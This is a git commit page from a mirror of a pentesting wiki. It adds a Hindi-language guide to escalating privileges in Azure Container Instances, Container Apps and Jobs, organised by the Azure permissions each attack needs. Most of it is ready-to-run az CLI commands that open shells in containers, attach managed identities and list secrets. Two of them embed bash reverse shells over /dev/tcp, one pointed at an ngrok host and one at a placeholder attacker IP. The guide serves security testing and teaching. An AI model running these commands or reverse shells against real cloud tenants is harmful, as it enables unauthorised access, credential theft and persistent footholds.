mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 04:05:09 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,177 @@
|
||||
# Az - Azure Container Instances, Apps & Jobs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances, Apps & Jobs
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances-apps-jobs.md
|
||||
{{#endref}}
|
||||
|
||||
## ACI
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक कमांड निष्पादित** करने की अनुमति देती हैं एक चल रहे कंटेनर में। इसका उपयोग कंटेनर में **अधिकार बढ़ाने** के लिए किया जा सकता है यदि इसमें कोई प्रबंधित पहचान जुड़ी हो। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
|
||||
|
||||
एक शेल प्राप्त करना उतना ही सरल है:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
यह भी संभव है कि **कंटेनर का आउटपुट पढ़ा जाए**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
या लॉग प्राप्त करें:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमतियाँ **एक उपयोगकर्ता प्रबंधित पहचान** को एक कंटेनर समूह से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
|
||||
एक उपयोगकर्ता प्रबंधित पहचान को एक कंटेनर समूह से जोड़ने के लिए:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमति **एक कंटेनर समूह बनाने या अपडेट करने** की अनुमति देती हैं जिसमें **एक उपयोगकर्ता प्रबंधित पहचान** संलग्न होती है। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
इसके अलावा, एक मौजूदा कंटेनर समूह को अपडेट करना भी संभव है, उदाहरण के लिए **`--command-line` तर्क** के साथ एक रिवर्स शेल जोड़ना।
|
||||
|
||||
## ACA
|
||||
|
||||
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
|
||||
|
||||
ये अनुमतियाँ उपयोगकर्ता को **एक शेल प्राप्त करने** की अनुमति देती हैं एक चल रहे एप्लिकेशन कंटेनर में। इसका उपयोग कंटेनर में **अधिकार बढ़ाने** के लिए किया जा सकता है यदि इसमें कोई प्रबंधित पहचान जुड़ी हो। बेशक, कंटेनर के अंदर संग्रहीत स्रोत कोड और किसी अन्य संवेदनशील जानकारी तक पहुंच प्राप्त करना भी संभव है।
|
||||
```bash
|
||||
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
|
||||
az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
यह अनुमति **कंटेनर ऐप** के अंदर कॉन्फ़िगर किए गए **गुप्त पाठ** को प्राप्त करने की अनुमति देती है। ध्यान दें कि गुप्त को स्पष्ट पाठ के साथ या एक कुंजी वॉल्ट के लिंक के साथ कॉन्फ़िगर किया जा सकता है (ऐसे मामले में ऐप को गुप्त पर पहुंच के साथ एक प्रबंधित पहचान सौंपा जाएगा)।
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
ये अनुमतियाँ **एक उपयोगकर्ता प्रबंधित पहचान** को एक कंटेनर ऐप से जोड़ने की अनुमति देती हैं। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है। az cli से इस क्रिया को निष्पादित करने के लिए `Microsoft.App/containerApps/listSecrets/action` अनुमति की भी आवश्यकता होती है।
|
||||
|
||||
एक कंटेनर समूह में एक उपयोगकर्ता प्रबंधित पहचान को जोड़ने के लिए:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
ये अनुमति **एक एप्लिकेशन कंटेनर बनाने या अपडेट करने** की अनुमति देती हैं जिसमें **उपयोगकर्ता प्रबंधित पहचान** संलग्न होती है। यह कंटेनर में विशेषाधिकार बढ़ाने के लिए बहुत उपयोगी है।
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
|
||||
# Create app in a an environment
|
||||
az containerapp create \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--cpu 1 --memory 1.0 \
|
||||
--user-assigned <user-asigned-identity-name> \
|
||||
--min-replicas 1 \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> ध्यान दें कि इन अनुमतियों के साथ **ऐप की अन्य कॉन्फ़िगरेशन** को संशोधित किया जा सकता है, जो मौजूदा ऐप्स की कॉन्फ़िगरेशन के आधार पर अन्य प्रिवेस्क और पोस्ट एक्सप्लॉइटेशन हमलों को करने की अनुमति दे सकता है।
|
||||
|
||||
## Jobs
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
हालांकि जॉब्स कंटेनर ऐप्स की तरह लंबे समय तक चलने वाले नहीं होते हैं, आप निष्पादन शुरू करते समय जॉब की कमांड कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता का लाभ उठा सकते हैं। एक कस्टम जॉब टेम्पलेट तैयार करके (उदाहरण के लिए, डिफ़ॉल्ट कमांड को रिवर्स शेल से बदलकर), आप उस कंटेनर के भीतर शेल एक्सेस प्राप्त कर सकते हैं जो जॉब चलाता है।
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
|
||||
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
|
||||
# For example, change the container’s command to:
|
||||
# - args:
|
||||
# - -c
|
||||
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
|
||||
# command:
|
||||
# - /bin/bash
|
||||
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
|
||||
|
||||
# Update and wait until the job is triggered (or change ths type to scheduled)
|
||||
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
|
||||
|
||||
# Start a new job execution with the modified template:
|
||||
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
|
||||
```
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
|
||||
|
||||
यदि आपके पास ये अनुमतियाँ हैं, तो आप एक नौकरी कंटेनर के अंदर सभी रहस्यों (पहली अनुमति) की सूची बना सकते हैं और फिर कॉन्फ़िगर किए गए रहस्यों के मान पढ़ सकते हैं।
|
||||
```bash
|
||||
az containerapp job secret list --name <job-name> --resource-group <res-group>
|
||||
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
यदि आपके पास एक नौकरी की कॉन्फ़िगरेशन को संशोधित करने की अनुमति है, तो आप एक उपयोगकर्ता-निर्धारित प्रबंधित पहचान संलग्न कर सकते हैं। यह पहचान अतिरिक्त विशेषाधिकार हो सकते हैं (उदाहरण के लिए, अन्य संसाधनों या रहस्यों तक पहुंच) जिन्हें कंटेनर के अंदर विशेषाधिकार बढ़ाने के लिए दुरुपयोग किया जा सकता है।
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
--resource-group <res-group> \
|
||||
--assign-identity <user-assigned-identity-id>
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
यदि आप एक नया Container Apps Job बना सकते हैं (या एक मौजूदा को अपडेट कर सकते हैं) और एक प्रबंधित पहचान संलग्न कर सकते हैं, तो आप नौकरी को एक ऐसा पेलोड निष्पादित करने के लिए डिज़ाइन कर सकते हैं जो विशेषाधिकार बढ़ाता है। उदाहरण के लिए, आप एक नई नौकरी बना सकते हैं जो न केवल एक रिवर्स शेल चलाती है बल्कि प्रबंधित पहचान के क्रेडेंशियल्स का उपयोग करके टोकन या अन्य संसाधनों तक पहुँचने के लिए अनुरोध भी करती है।
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
--resource-group <res-group> \
|
||||
--environment <environment-name> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--user-assigned <user-assigned-identity-id> \
|
||||
--trigger-type Schedule \
|
||||
--cron-expression "*/1 * * * *" \
|
||||
--replica-timeout 1800 \
|
||||
--replica-retry-limit 0 \
|
||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||
```
|
||||
> [!TIP]
|
||||
> यह कमांड एक त्रुटि फेंकेगा यदि आपके पास `Microsoft.App/jobs/read` अनुमति नहीं है, हालांकि नौकरी बनाई जाएगी।
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
ऐसा लगता है कि इन अनुमतियों के साथ एक नौकरी शुरू करना संभव होना चाहिए। इसका उपयोग एक रिवर्स शेल या किसी अन्य दुर्भावनापूर्ण कमांड के साथ नौकरी शुरू करने के लिए किया जा सकता है बिना नौकरी की कॉन्फ़िगरेशन को संशोधित किए।
|
||||
|
||||
मैं इसे काम करने में सफल नहीं हुआ, लेकिन अनुमत पैरामीटर के अनुसार, यह संभव होना चाहिए।
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user